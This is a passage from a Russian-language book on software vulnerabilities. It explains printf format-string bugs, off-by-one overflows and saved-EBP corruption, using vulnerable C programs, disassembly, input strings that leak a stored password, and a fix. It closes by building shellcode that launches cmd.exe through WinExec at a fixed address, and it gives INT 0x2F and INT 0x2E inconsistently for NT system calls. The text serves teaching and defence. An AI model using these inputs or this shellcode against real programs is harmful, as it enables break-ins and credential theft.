Но функция не знает, что ей передали всего один аргумент, ведь строка спецификаторов требует вывести два ("%x %x). А поскольку аргументы в Си заносятся в стек слева направо, самый левый аргумент расположен в стеке по наибольшему адресу. Спецификатор "%x" предписывает вывести машинное слово [11], переданное в стек по значению. Для сравнения - вот как выглядит стек на момент вызова функции "printf" в следующей программе (на диске, прилагаемом к книге, она расположена в файле "/SRC/printf.demo.c"):

main()
{
       int a = 0x666;
       int b = 0x777;
       printf("%x %x\n", a, b);
}


+12     off aXX     ('%x %x') (строка спецификаторов)
+08     var_4       ('a') (аргумент функции printf)
+04     var_8       ('b') (аргумент функции printf)
 00     var_8       ('b') (локальная переменная)
-04     var_4       ('a') (локальная переменная)

Дизассемблированный листинг в книге не приводится, поскольку он практически ничем не отличается от предыдущего (на диске, прилагаемом к книге, он расположен в файле "/SRC/printf.demo.lst").

В стеке по относительному смещению [12] +4 расположен второй аргумент функции. Если же его не передать, то функция примет за аргумент любое значение, расположенное в этой ячейке.

Поэтому несмотря на то, что функции была передана всего лишь одна переменная, она все равно ведет себя так, как будто бы ей передали полный набор аргументов (а что ей еще остается делать?):

+8     off aXX     ('%x %x') (строка спецификаторов)
+4     var_4       ('a') (аргумент функции printf)
 0     var_8       ('b') (локальная переменная)
-4     var_4       ('a') (локальная переменная)

Разумеется, в нужном месте стека переменная 'b' оказалась по чистой случайности. Но в любом случае - там были бы какие-то данные. Определенным количеством спецификаторов можно просмотреть весь стек - от верхушки до самого низа! Весьма велика вероятность того, что в нем окажутся данные, интересные злоумышленнику. Например, пароли на вход в систему.

Теперь становится понятной ошибка, допущенная разработчиком buff.printf.c. Ниже приведен дизассемблированный листинг с подробными пояснениями (на диске, прилагаемом к книге, он находится в файле "/SRC/demo.printf.lst"):

.text:00401000 ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
.text:00401000
.text:00401000 ; Attributes: bp-based frame
.text:00401000
.text:00401000 main proc near ; CODE XREF: start+AFp
.text:00401000
.text:00401000 var_54 = byte ptr -54h
.text:00401000 var_44 = byte ptr -44h
.text:00401000 var_34 = byte ptr -34h
.text:00401000 var_14 = dword ptr -14h
.text:00401000 var_10 = byte ptr -10h
.text:00401000
.text:00401000         push ebp
.text:00401001         mov ebp, esp
.text:00401001 ; Открытие кадра стека
.text:00401003         sub esp, 54h
.text:00401003 ; Резервируется 0x54 байта для локальных переменных
.text:00401006         push offset aPrintfBugDemo ; "printf bug demo\n"
.text:00401006 ; Занесение в стек строки "printf bug demo"
.text:0040100B         call _printf
.text:0040100B ; Вызов printf("printf bug demo\n")
.text:00401010         add esp, 4
.text:00401010 ; Балансировка стека
.text:00401013         push offset aR ; "r"
.text:00401013 ; Занесение в стек смещения строки "r"
.text:00401018         push offset aBuff_psw ; "buff.psw"
.text:00401018 ; Занесение в стек смещения строки "buff.psw"
.text:0040101D         call _fopen
.text:0040101D ; Вызов fopen("buff.psw","r");
.text:00401022         add esp, 8
.text:00401022 ; Балансировка стека
.text:00401025         mov [ebp+var_14], eax
.text:00401025 ; Переменная var_14 представляет собой указатель файла psw
.text:00401028         cmp [ebp+var_14], 0
.text:00401028 ; Файл открыт успешно?
.text:0040102C         jnz short loc_0_401033
.text:0040102C ; Файл открыт успешно! Продолжение выполнения программы
.text:0040102E         jmp loc_0_4010CD
.text:0040102E ; Файл открыт не успешно, переход к выходу
.text:00401033 ; ───────────────────────────────────────────────────────────────────────────
.text:00401033
.text:00401033 loc_0_401033: ; CODE XREF: main+2Cj
.text:00401033         mov eax, [ebp+var_14]
.text:00401033 ; Занесение в регистр EAX указателя на файловый манипулятор psw
.text:00401036         push eax
.text:00401036 ; Заталкивание psw в стек
.text:00401037         push 8
.text:00401037 ; Заталкивание в стек константы 8
.text:00401039         lea ecx, [ebp+var_54]
.text:00401039 ; Занесение в регистр ECX смещения начала буфера var_54
.text:0040103C         push ecx
.text:0040103C ; Заталкивание его в стек
.text:0040103D         call _fgets
.text:0040103D ; Вызов fgets(&_pass[0],8,psw)
.text:0040103D ; Буфер var_54 представляет собой _pass
.text:00401042         add esp, 0Ch
.text:00401042 ; Балансировка стека
.text:00401045         push offset aLogin ; "Login:"
.text:00401045 ; Заталкивание в стек смещения строки "Login:"
.text:0040104A         call _printf
.text:0040104A ; Вызов printf("Login:")
.text:0040104F         add esp, 4
.text:0040104F ; Балансировка стека
.text:00401052         push offset off_0_407090
.text:00401052 ; Заталкивание в стек указателя на манипулятор stdin
.text:00401057         push 0Ch
.text:00401057 ; Заталкивание в стек константы 0xC
.text:00401059         lea edx, [ebp+var_10]
.text:00401059 ; Занесение в регистр EDX указателя на буфер var_10 (user)
.text:0040105C         push edx
.text:0040105C ; Заталкивание его в стек
.text:0040105D         call _fgets
.text:0040105D ; Вызов (&user[0],0xC,stdin)
.text:00401062         add esp, 0Ch
.text:00401062 ; Балансировка стека
.text:00401065         push offset aPassw ; "Passw:"
.text:00401065 ; Заталкивание в стек указателя на строку Passw
.text:0040106A         call _printf
.text:0040106A ; Вызов printf("Passw:")
.text:0040106F         add esp, 4
.text:0040106F ; Балансировка стека
.text:00401072         push offset off_0_407090
.text:00401072 ; Заталкивание в стек указателя на манипулятор stdin
.text:00401077         push 0Ch
.text:00401077 ; Заталкивание в стек константы 0xC
.text:00401079         lea eax, [ebp+var_44]
.text:00401079 ; Занесение в регистр EAX указателя на буфер var_44 (pass)
.text:0040107C         push eax
.text:0040107C ; Заталкивание его в стек
.text:0040107D         call _fgets
.text:0040107D ; fgest(&pass[0],0xC,stdin)
.text:00401082         add esp, 0Ch
.text:00401082 ; Балансировка стека
.text:00401085         lea ecx, [ebp+var_54]
.text:00401085 ; Занесение в регистр ECX указателя на буфер var_54 (_pass)
.text:00401088         push ecx
.text:00401088 ; Заталкивание его в стек
.text:00401089         lea edx, [ebp+var_44]
.text:00401089 ; Занесение в регистр EDX указателя на буфер var_54 (pass)
.text:0040108C         push edx
.text:0040108C ; Заталкивание его в стек
.text:0040108D         call _strcmp
.text:0040108D ; Вызов strcmp(&_pass[0],&pass[0])
.text:00401092         add esp, 8
.text:00401092 ; Балансировка стека
.text:00401095         test eax, eax
.text:00401095 ; Введен правильный пароль?
.text:00401097         jz short loc_0_4010B0
.text:00401097 ; Переход, если введен правильный пароль
.text:00401099         lea eax, [ebp+var_44]
.text:00401099 ; Занесение в регистр EAX указателя на буфер var_44 (pass)
.text:0040109C         push eax
.text:0040109C ; Заталкивание его в стек
.text:0040109D         push offset aInvalidPasswor ; "Invalid password: %s"
.text:0040109D ; Заталкивание в стек указателя на строку "Invalid password: %s"
.text:004010A2         lea ecx, [ebp+var_34]
.text:004010A2 ; Занесение в регистр ECX указателя на буфер var_34 (buff)
.text:004010A5         push ecx
.text:004010A5 ; Заталкивание его в стек
.text:004010A6         call _sprintf
.text:004010A6 ; Вызов sprintf(&buff[0],"Invalid password: %s",&pass[0])
.text:004010AB         add esp, 0Ch
.text:004010AB ; Балансировка стека
.text:004010AE         jmp short loc_0_4010C1
.text:004010B0 ; ───────────────────────────────────────────────────────────────────────────
.text:004010B0
.text:004010B0 loc_0_4010B0: ; CODE XREF: main+97j
.text:004010B0         push offset aPasswordOk ; "Password ok\n"
.text:004010B0 ; Заталкивание в стек указателя на строку "Password ok"
.text:004010B5         lea edx, [ebp+var_34]
.text:004010B5 ; Занесение в регистр EDX указателя на начало буфера var_34 (buff)
.text:004010B8         push edx
.text:004010B8 ; Заталкивание его в стек
.text:004010B9         call _sprintf
.text:004010B9 ; Вызов spritnf(&buff[0],"Password ok\n");
.text:004010BE         add esp, 8
.text:004010BE ; Балансировка стека
.text:004010C1
.text:004010C1 loc_0_4010C1: ; CODE XREF: main+AEj
.text:004010C1         lea eax, [ebp+var_34]
.text:004010C1 ; Занесение в регистр EAX указателя на начало буфера var_34 (buff)
.text:004010C4         push eax
.text:004010C4 ; Заталкивание его в стек
.text:004010C4 ; Состояние стека (жирным шрифтом выделен аргумент функции printf)
.text:004010C4 ; -0x04     var_34     (buff)
.text:004010C4 ;  0x00     var_54     (_pass)
.text:004010C4 ; -0x10     var_44     (pass)
.text:004010C4 ; -0x20     var_34     (buff)
.text:004010C4 ; -0x40     var_14     (psw)
.text:004010C4 ; -0x44     var_10     (user)
.text:004010C5         call _printf
.text:004010C5 ; Вызов printf(&buff[0])
.text:004010CA         add esp, 4
.text:004010CA ; Балансировка стека
.text:004010CD
.text:004010CD loc_0_4010CD: ; CODE XREF: main+2Ej
.text:004010CD         mov esp, ebp
.text:004010CD ; Закрытие кадра стека, освобождение локальных переменных
.text:004010CF         pop ebp
.text:004010CF ; Восстановление регистра EBP
.text:004010D0         retn
.text:004010D0 ; Выход из подпрограммы
.text:004010D0 main endp

Таким образом, состояние стека на момент вызова функции pritnf следующее (передаваемый аргумент выделен жирным шрифтом):

-0x04     var_34     (buff)
 0x00     var_54     (_pass)
-0x10     var_44     (pass)
-0x20     var_34     (buff)
-0x40     var_14     (psw)
-0x44     var_10     (user)

Если спецификаторов окажется больше, чем параметров, то функция начнет читать... содержимое буфера, в котором находится оригинальный пароль! По чистой случайности он оказался на верхушке стека, но даже если бы он был расположен ниже, это не изменило бы положения вещей, поскольку функции "printf "доступен весь кадр стека.

В программе функция вызывается без спецификаторов "printf(&buff[0])", но, ей передается указатель на начало буфера buff, который содержит сырую, нефильтрованную строку, введенную пользователем в качестве пароля, а она может содержать все, что угодно, в том числе и спецификаторы.

Следующий эксперимент демонстрирует, как можно использовать такую ошибку программиста для проникновения в систему (то есть, подсматривания эталонного пароля, считанного из файла):

buff.printf.exe
printf bug demo
Login: kpnc
Passw: %x %x %x
Invalid password: 5038394b a2a4e 2f4968

Для "расшифровки" ответа программы необходимо перевернуть каждое двойное слово, поскольку в микропроцессорах Intel младшие байты располагаются по меньшим адресам. В результате этого получается следующее:

Расшифровка ответа программы

Рисунок 74. Расшифровка ответа программы.

Таким образом, искомый пароль равен "K98PN*". Если ввести его в программу (с соблюдением регистра), то результат ее работы должен выглядеть так:

buff.printf.exe
printf bug demo
Login: kpnc
Passw: K98PN*
Password ok

Попытка использования спецификатора "%s" приведет вовсе не к выводу строки в удобочитаемом виде, а аварийному завершению приложения. Это продемонстрировано на рисунке, приведенном ниже:

Реакция системы на использование спецификатора

Рисунок 75. Реакция системы на использование спецификатора %s.

Такое поведение объясняется тем, что функция, встретив спецификатор "%s", ожидает увидеть указатель на строку, а не саму строку. Поэтому происходит попытка обращения по адресу 0x5038384B ("K98PN" в символьном представлении), который находится вне пределов досягаемости программы, что и вызывает исключение.

Спецификатор "%s" пригоден для отображения содержимого указателей, которые также встречаются в программах. Это можно продемонстрировать с помощью следующего примера [13] (на диске, прилагаемом к книге, он содержится в файле "/SRC/buff.printf.%s.c"):

#include <stdio.h>
#include <string.h>
#include <malloc.h>

void main()
{
       FILE *f;
       char *pass;
       char *_pass;
       pass = (char *)malloc(100);
       _pass = (char *)malloc(100);
       if (!(f = fopen("buff.psw", "r"))) return;
       fgets(_pass, 100, f);
       _pass[strlen(_pass) - 1] = 0;
       printf("Passw:"); fgets(pass, 100, stdin);
       pass[strlen(pass) - 1] = 0;
       // ...
       printf(pass);
}

На этот раз буфера размещены не в стеке, а в куче - области памяти, выделенной функцией malloc и в стеке считанного пароля уже не содержится. Однако вместо самого буфера в стеке находится указатель на него! Используя спецификатор "%s", можно вывести на экран строку, расположенную по этому адресу. Например, это можно сделать так:

buff.printf.%s.exe
Passw: %s
K98PN*

Кроме того, с помощью спецификатора "%s" можно получить даже код (и данные) самой программы! Другими словами, существует возможность прочитать содержимое любой ячейки памяти, доступной программе. Это происходит в том случае, когда строка, введенная пользователем, помещается в стек (а это происходит очень часто). Пример, приведенный ниже, как раз и иллюстрирует такую возможность (на диске, прилагаемом к книге, он находится в файле "/SRC/buff.pritnf.dump.c"):

#include <stdio.h>
#include <string.h>

void main()
{
       char buff[16];
       printf("printf dump demo\n");
       printf("Login:");
       fgets(&buff[0], 12, stdin);
       buff[strlen(buff) - 1] = 0;
       printf(buff);
}

Строка "%x%sXXXX" выдаст на экран строку, расположенную по адресу "XXXX". Спецификатор "%x" необходим, чтобы пропустить четыре байта, в которых расположена подстрока "%x%s". На сам же адрес "XXXX" наложены некоторые ограничения. Так, например, с клавиатуры невозможно ввести символ с кодом нуля.

Следующий пример выдает на экран содержимое памяти, начиная с адреса 0x401001, в виде строки (то есть, до тех пор, пока не встретится нуль, обозначающий завершение строки). Примечательно, что для ввода символов с кодами 0x1, 0x10 и 0x40 оказывается вполне достаточно клавиши Ctrl.

buff.printf.dump.exe
printf dump demo
Login: %x%s^A^P@
73257825ЛьГь►h0`@☺►@

Четыре первые байта ответа программы выданы спецификатором "%x", а последние представляют собой введенный указатель. А сама строка расположена с пятого по тринадцатый байт. Если ее записать в файл и дизассемблировать, например, с помощью qview, то получится следующее (последний байт, очевидно, равен нулю, поскольку именно он послужил концом строки):

00000020: 8BEC         mov ebp,esp
00000022: 83EC10       sub esp,00000010
00000025: 6830604000   push 00406030

А вот как выглядит результат дизассемблирования файла demo.printf.dump.exe с помощью IDA:

text:00401000 sub_0_401000 proc near ; CODE XR
text:00401000
text:00401000 var_11 = byte ptr -11h
text:00401000 var_10 = byte ptr -10h
text:00401000
text:00401000 55             push ebp
text:00401001 8B EC          mov ebp, esp
text:00401003 83 EC 10       sub esp, 10h
text:00401006 68 30 60 40 00 push offset aPrintfDumpDemo ;
text:0040100B E8 DB 01 00 00 call sub_0_4011EB

Нетрудно убедится в том, что они идентичны. Манипулируя значением указателя, можно "вытянуть" весь код программы. Конечно, учитывая частоту появления нулей в коде, придется проделать огромное множество операций, прежде чем удастся "перекачать" программу на собственный компьютер. Но, во-первых, процесс можно автоматизировать, а во-вторых, чаще всего существуют и другие пути получения программного обеспечения, а наибольший интерес для вторжения на чужой компьютер представляют весьма компактные структуры данных, как правило, содержащие пароли.

Спецификатор "%c" читает двойное слово из стека и усекает его до байта. Поэтому в большинстве случаев он оказывается непригоден. Так, если в примере buff.printf.demo попытаться заменить спецификатор "%x" на спецификатор "%c", результат работы будет выглядеть так:

buff.printf.exe
printf bug demo
Login: kpnc
Passw: %c%c
Invalid password: KN

Программа выдала не первый и второй символы пароля, а... первый и пятый! Поэтому от надежды получить пароль в удобочитаемом виде приходится отказываться, возвращаясь к использованию спецификатора "%x".

Описанная методика, строго говоря, никаким боком не относится к переполнению буфера и никак не может воздействовать на стек. Однако чтение содержимого стека способно нанести не меньший урон безопасности системы, чем традиционное переполнение буфера. О существовании уязвимости в функции printf догадываются не все программисты, поэтому-то большинство приложений, считающиеся надежными, могут быть атакованы подобным образом.

Для устранения угрозы проникновения в систему, некоторые разработчики пытаются фильтровать ввод пользователя. Но это плохое решение, поскольку пользователь вполне может выбрать себе пароль наподобие "Kri%s" и будет очень удивлен, если система откажется его принять. Но существует простой и элегантный выход из ситуации, который продемонстрирован в листинге, приведенном ниже: (на диске, прилагаемом к книге, он находится в файле "/SRC/buff.printf.nobug.c"):

#include <stdio.h>
#include <string.h>

void main()
{
       FILE *psw;
       char buff[32];
       char user[16];
       char pass[16];
       char _pass[16];
        
       printf("printf bug demo\n");
       if (!(psw = fopen("buff.psw", "r"))) return;
       fgets(&_pass[0], 8, psw);
        
       printf("Login:"); fgets(&user[0], 12, stdin);
       printf("Passw:"); fgets(&pass[0], 12, stdin);
        
       if (strcmp(&pass[0], &_pass[0]))
              sprintf(&buff[0], "Invalid password: %s", &pass[0]);
       else
              sprintf(&buff[0], "Password ok\n");

       printf("%s", &buff[0]);
}

От файла demo.printf.c он отличается всего одной строкой, которая выделена жирным шрифтом. Только самый левый аргумент функции printf может содержать в себе спецификаторы, во всех остальных случаях они будут проигнорированы. Это доказывает следующий эксперимент:

buff.printf.nobug.exe
printf bug demo
Login: kpnc
Passw:%x
Invalid password: %x

Теперь никакая строка, введенная пользователем, не сможет вызвать непредсказуемого поведения программы! И нет никакой необходимости прибегать к фильтрации ввода, которая сама по себе чревата внесением новых ошибок! Для выявления всех уязвимых мест в программе достаточно воспользоваться шаблонным поиском.

Ошибки, приводящие к переполнению буфера, выявить сложнее. Попытка протестировать программу на строках непомерной длины не всегда дает желаемый результат. Во многих случаях ошибки проявляются только при вводе строк определенной длины. Как раз такую ситуацию и демонстрирует следующий пример (на диске, прилагаемом к книге, он находится в файле "/SRC/buff.arg.c"):

#include <stdio.h>
#include <string.h>

void main (int argc, char ** argv)
{
       char buff[10];
       if (argc < 2) return;
       if (strlen(argv[1]) > 10) return;
       strcpy(&buff[0], &argv[1][0]);
}

Это ошибка особенно распространена среди начинающих программистов, но порой встречается и у профессионалов. Строка длиной в десять байт не может поместиться в десятибайтовый буфер, поскольку на ее конце находится завершающий нуль! В результате один байт "вылезает" из буфера! Но все строки длиннее десяти символов отсекаются программой и ошибка проявляется только на десятисимвольных строках!

Ошибка переполнения в один байт встречается достаточно часто. К этому приводит путаница между длинами и индексами массивов, начинающихся с нуля; выполнение операции сравнения до модификации переменной; небрежное обращение с условиями выхода из цикла и т.д. Существует даже шуточное выражение "ошибка в плюс-минус один байт!", один из способов устранения которой заключается в подгонке значения "капризных" переменной уменьшением или увеличением их значения на единицу.

Например, если "if (p > strlen(str)) break" не работает, то некоторые программисты "прыгают блохой" на единицу назад "if (p > (strlen(str) - 1)) break" [14]. Но если "ошибка в плюс-минус один байт" не проявит себя на тестовых прогонах программы, она имеет шанс дожить до финальной версии и вместе с ней попасть на компьютер потенциальной жертвы.

С переполнением в один байт "сорвать стек" невозможно, поскольку чтобы "дотянуться" до адреса возврата в большинстве случаев требуется "пересечь" сохраненное значение регистра EBP [15], занимающее четыре байта. Но ведь именно этот факт и можно использовать для атаки! Потом, переполняющийся буфер не всегда располагается на вершине стека. Скорее всего, за ним следуют некие локальные переменные, искажение значения которых может привести к нарушению нормальной работоспособности программы: от зависания до возможности несанкционированного вторжения в систему.

В примере, приведенном ниже (на диске, прилагаемом к книге, он находится в файле "/SRC/buff.var.c"), используется переменная-флаг noguest, нулевое значение которой открывает доступ в систему всем желающим:

#include <stdio.h>
#include <string.h>

main (int argc, char **argv)
{
       int noguest = 1;
       char pass[16];
       int a = 1;
       for (; a < argc; a++)
       {
              if (argv[a][0] == '/')
              {
                     if (!strcmp(&argv[a][0], "/GUEST:ON")) noguest = 0;
              }
              else
              {
                     if (strlen(argv[a]) > 16)
                            printf("Too long arg: %s\n", argv[a]);
                     else
                            strcpy(&pass[0], argv[a]);
              }
       }
       if ((!strcmp("KPNC++\n", &pass[0])) || (!noguest))
              printf("Password ok\n");
       else
              printf("Wrong password\n");
}

Дизассемблирование позволяет установить, что переменная "noguest" расположена в "хвосте" буфера buff и может быть искажена при его переполнении. Поскольку, при проверке длины строки допущена ошибка "if (strlen(argv[a]) > 16)...", завершающий ноль шестнадцатисимвольной строки обнулит значение переменной "noguest" и откроет злоумышленнику путь в систему. Это демонстрирует следующий эксперимент:

buff.var.exe 1234567890123456
Password ok

Но если увеличить длину строки хотя бы на один байт, программа отбросит ее как неправильную:

buff.var.exe 12345678901234567
Too long arg: 12345678901234567
Wrong password

Конечно, вероятность возникновения подобной ситуации на практике очень мала. Для атаки необходимо неблагоприятное стечение многих маловероятных обстоятельств. Размер буфера должен быть кратен величие выравнивания, иначе переполняющий байт запишется в "черную дыру" [16] и ничего не произойдет. Следующая за буфером переменная должна быть критична к обнулению, т.е. если программист открывал бы доступ на машину при ненулевом значении флага guest, опять бы ничего не произошло. Поэтому в большинстве случаев несанкционированного доступа к машине получить не удастся, а вот "завесить" ее гораздо вероятнее.

Например, следующий код (на, диске, прилагаемом к книге, он находится в файле "/SRC/buff.var.2.c"), в отличие от предыдущего, трудно назвать искусственным и "притянутым за уши":

#include <stdio.h>
#include <string.h>

main (int argc, char **argv)
{
       char pass[16];
       int a = 1;
       for (; a < argc; a++)
       {
              if (argv[a][0] == '/')
              {
                     if (!strcmp(&argv[a][0], "/GUEST:ON"))
                     {
                            printf("Guest user ok\n");
                            break;
                     }
              }
              else
              {
                     if (strlen(argv[a]) > 16)
                            printf("Too long arg: %s\n", argv[a]);
                     else
                            strcpy(&pass[0], argv[a]);
              }
       }
       if ((!strcmp("KPNC++\n", &pass[0])))
              printf("Password ok\n");
       else
              printf("Wrong password\n");
}

Переполнение буфера вызовет запись нуля в счетчик цикла 'a', в результате чего цикл никогда не достигнет своего конца, а программа "зависнет". А если буфер окажется расположенным в вершине стека, то "вылетевший" за его пределы ноль исказит значение регистра EBP. Большинство компиляторов генерируют код, использующий для адресации локальных переменных регистр EBP, поэтому искажение его значения приведет к нарушению работы вызывающей процедуры.

Такую ситуацию демонстрирует следующий пример (на диске, прилагаемом к книге, он расположен в файле "/SRC/buff.ebp.c"):

#include <stdio.h>
#include <string.h>

int Auth()
{
       char pass[16];
       printf("Passwd:"); fgets(&pass[0], 17, stdin);
       return !strcmp("KPNC++\n", &pass[0]);
}

main (int argc, char **argv)
{
       int guest = 0;
       if (argc > 2) if (!strcmp(&argv[1][0], "/GUEST:ON")) guest = 1;
       if (Auth() || guest)
              printf("Password ok\n");
       else
              printf("Wrong password\n");
}

Ввод строки наподобие "1234567890123456123" затрет сохраненное значение регистра EBP, в результате чего при попытке прочитать значение переменной guest произойдет обращение к совсем другой области памяти, которая, скорее всего, содержит ненулевое значение. В результате, злоумышленник сможет несанкционированно войти в систему.

Модификация сохраненного значения регистра EBP имеет побочный эффект - вместе с регистром EBP изменяется и регистр-указатель верхушки стека. Большинство компиляторов генерируют приблизительно следующие прологи и эпилоги функций (в листинге они выделены жирным шрифтом):

.text:00401040 Main proc near ; CODE XREF: start+AFp
.text:00401040
.text:00401040 var_4 = dword ptr -4
.text:00401040
.text:00401040         push ebp
.text:00401041         mov ebp, esp
.text:00401043         push ecx
.text:00401044         push offset aChahgeEbp     ; "Chahge EBP\n"
.text:00401049         call sub_0_401214
.text:0040104E         add esp, 4
.text:00401051         call Auth
.text:00401056         mov [ebp+var_4], eax
.text:00401059         cmp [ebp+var_4], 0
.text:0040105D         jz short loc_0_40106E
.text:0040105F         push offset aPasswordOk    ; "Password ok\n"
.text:00401064         call sub_0_401214
.text:00401069         add esp, 4
.text:0040106C         jmp short loc_0_40107B
.text:0040106E ;       ─────────────────────────────────────────────────────────────
.text:0040106E
.text:0040106E loc_0_40106E: ; CODE XREF: Main+1Dj
.text:0040106E         push offset aWrongPassword ; "Wrong password\n"
.text:00401073         call sub_0_401214
.text:00401078         add esp, 4
.text:0040107B
.text:0040107B loc_0_40107B: ; CODE XREF: Main+2Cj
.text:0040107B         mov esp, ebp
.text:0040107D         pop ebp
.text:0040107E         retn

Сперва значение регистра ESP копируется в EBP, затем выделяется память под локальные переменные (если они есть) уменьшением ESP. А при выходе из функции ESP восстанавливается путем присвоения значения, сохраненного в регистре EBP. Если же вызываемая функция исказит значение EBP, то при выходе из функции ESP будет указывать уже не на адрес возврата, а на какой-то другой адрес и при передаче на него управления, скорее всего, произойдет исключение и операционная система приостановит выполнение программы.

Однако осмысленное искажение значение регистра EBP в некоторых случаях способно передать управление на переданный код, однако для этого необходимо, чтобы он размещался в буфере вызывающей процедуры.

Использование срыва стека для запуска командного интерпретатора под Windows NT

Получив возможность выполнения своего кода на удаленной машине, злоумышленник, как правило, стремится запустить командный интерпретатор или пытается вызвать системные функции для повышения своего статуса или регистрации нового пользователя в системе. Модификация же кода уязвимой программы (примеры которой приведены в главе "Технология срыва стека") не всегда позволяет атакующему получить желаемый результат.

Под управлением UNIX такая операция не представляет больших сложностей. Функции ядра могут быть вызваны либо посредством программного прерывания INT 0x80 (в LINUX), либо передачей управления по особому адресу, именуемому точкой входа ядра в системах совместимых с System V, расположенного по адресу 0x0007:0x00000000. Среди системных вызовов наличествуют и функция exec, которая вкупе с fork (или даже без оной) позволяет запускать другие программы, в том числе и командный интерпретатор или в терминологии UNIX - оболочку (Shell).

Функция ядра Windows NT доступны через программное прерывание INT 0x2F, но все они "сырые" и не готовы к непосредственному использованию. Одного вызова функции ZwCreateProcess, она же NtCreateProcess (EAX=0x29, INT 0x2Fh) для создания нового потока еще не достаточно. Реализация CreateProcessA (CreateProcessW), размещенная в модуле KERNEL32.DLL, содержит много "обвязочного" кода, в чем легко убедиться, заглянув в него дизассемблером.

Запустить приложение, пользуясь только сервисом, предоставляемым прерыванием INT 0x2F можно, но требует значительного объема памяти, который атакующему, скорее всего, окажется недоступен. Поэтому приходится прибегать к вызову функций из модулей DLL. Традиционно для этого загружают выбранный модуль вызовом LoadLibray, а затем получают адрес требуемой функции с помощью GetProcAddress. Например, на Си вызов командного интерпретатора может выглядеть так:

UINT (__stdcall *x) (LPCSTR lpCmdLine, UINT uCmdShow);
x = (UINT (__stdcall *)(LPCSTR lpCmdLine, UINT uCmdShow))
(GetProcAddress(LoadLibrary("KERNEL32.DLL"), "WinExec"));
x("cmd.exe", SW_SHOW);

Использование устаревшей функции "WinExec" вместо современной "CreateProcess" значительно упрощает код. Вместо десяти аргументов CreateProcess, функция WinExec имеет всего два - указатель на командную строку и статус отображения окна после запуска. Даже компилятор свободно укладывается в семьдесят с небольшим байт, оставляя простор для оптимизации:

.text:00401000 55                push ebp
.text:00401001 8B EC             mov ebp, esp
.text:00401003 51                push ecx
.text:00401004 68 30 50 40 00    push 405030h
.text:00401009 68 38 50 40 00    push offset aKernel32_dll ; "KERNEL32.DLL"
.text:0040100E FF 15 04 40 40 00 call ds:LoadLibraryA
.text:00401014 50                push eax
.text:00401015 FF 15 48 40 40 00 call ds:GetProcAddress
.text:0040101B 89 45 FC          mov [ebp+var_4], eax
.text:0040101E 6A 05             push 5
.text:00401020 68 48 50 40 00    push offset aCmd_exe ; "cmd.exe"
.text:00401025 FF 55 FC          call[ebp+var_4]
.text:00401028 8B E5             mov esp, ebp
.text:0040102A 5D                pop ebp
.text:0040102B C3                retn
...
.data:00405030 57 69 6E 45 78 65 +aWinexec       db 'WinExec',0
.data:00405038 4B 45 52 4E 45 4C +aKernel32_dll  db 'KERNEL32.DLL',0
.data:00405045 00 00 00          align 4
.data:00405048 63 6D 64 2E 65 78 +aCmd_exe       db 'cmd.exe',0

Но сразу же возникают следующие трудности [17]: наличие нулевых символов не позволяет ввести такой код с клавиатуры. Можно, конечно, снабдить код расшифровщиком, один из примеров которого приведен в дополнении "Шифровка кода", добившись исчезновения всех нулевых символов во вводимой строке. Но и сам шифровщик потребует какое-то количество памяти, которой может попросту не хватить. Другая трудность заключается в следующем - функции LoadLibrary и GetProcAddress реализованы наполовину в NTDLL.DLL, наполовину в KERNEL32.DLL и через прерывание INT 0x2E недоступны. Прежде чем их использовать, следует загрузить KERNEL32.DLL (но с помощью чего?) и определить адрес функции GetProcAddress (например, вызовом самой GetProcAddress [18]).

После сказанного может возникнуть вопрос - как же приложения под Windows еще ухитряются работать? Существует такое понятие как неявная компоновка - подключение необходимых библиотек еще на стадии загрузки файла. Для этого необходимо перечислить все требуемые функции в секции импорта PE-файла. Именно так и поступают программисты для вызова внешних функций, а к LoadLibrary прибегают редко.

Но даже если злоумышленник и получит доступ к секции импорта (а для этого необходимо иметь право записи в исполняемый и, как правило, исполняющийся в данный момент файл [19]), то он столкнется с проблемой модифицирования готовой секции импорта, что само по себе представляет нетривиальную задачу. Наконец, если добавление новых элементов пройдет успешно, изменения возымеют силу только после последующей загрузки файла.

На самом же деле, используя ряд допущений, можно решить ту же задачу более простым путем. Одна из недокументированных особенностей Windows состоит в том, во всех процессах система проецирует модуль KERNEL32.DLL по одним и тем же адресам. Поскольку, трудно представить себе приложение, обходящееся без KERNERL32.DLL [20], то можно сделать предположение, что модуль KERNEL32 уже загружен и в вызове LoadLibrary уже нет никакой необходимости.

Сложнее избавится от использования GetProcAddress. Адреса функций KERNEL32.DLL идентичны для всех процессов, но варьируются в зависимости от версии операционной системы. Существует несколько универсальных способов, более или менее работоспособных во всех версиях, (например, попытка найти GetProcAddress в таблице импорта текущего процесса), но все они либо ненадежны, либо их реализация занимает значительное количество памяти. Поэтому ниже будет рассмотрен самый простой способ использования фиксированных адресов. Единственный его недостаток заключается в "привязанности" к конкретной версии операционной системы.

Для определения адреса функции WinExec можно воспользоваться следующим кодом (или изучить секцию импорта с помощью утилиты dumpbin, поставляемую с любым Windows-компилятором):

printf("0x%X\n", GetProcAddress(LoadLibrary("KERNEL32.DLL"), "WinExec"));

Под управлением Windows 2000 (сборка 2195) программа возвратит адрес 0x77E98601, в других версиях возможны иные значения. Тогда код, запускающий некую программу, может выглядеть следующим образом:

00000000: 68 78 56 34 12     push 012345678 ;
00000005: 68 ?? ?? ?? ??     push offset cmdLine ;
0000000A: B8 01 86 E9 77     mov eax,077E98601 ;
0000000F: FF D0              call eax ;

Всего шестнадцать байт, без учета длины имени файла и кода, возвращающего управление основной ветке программы.

Некоторые пояснения: поскольку функции API Windows вызываются по соглашению PASCAL, то аргументы заносятся в стек справа налево и выталкивает их из стека сама вызываемая функция. Первой передается константа WS_SHOW, равная пяти. Если передать любое другое ненулевое значение, функция все равно отработает успешно, но появится возможность избавится от трех нулей, присутствующих в двойном слове, младший байт которого равен пяти. Смещение строки, содержащей имя файла, также содержит нуль в своем старшем байте, от которого необходимо избавится. Также необходимо как-то освободиться от завершающего строку нуля.

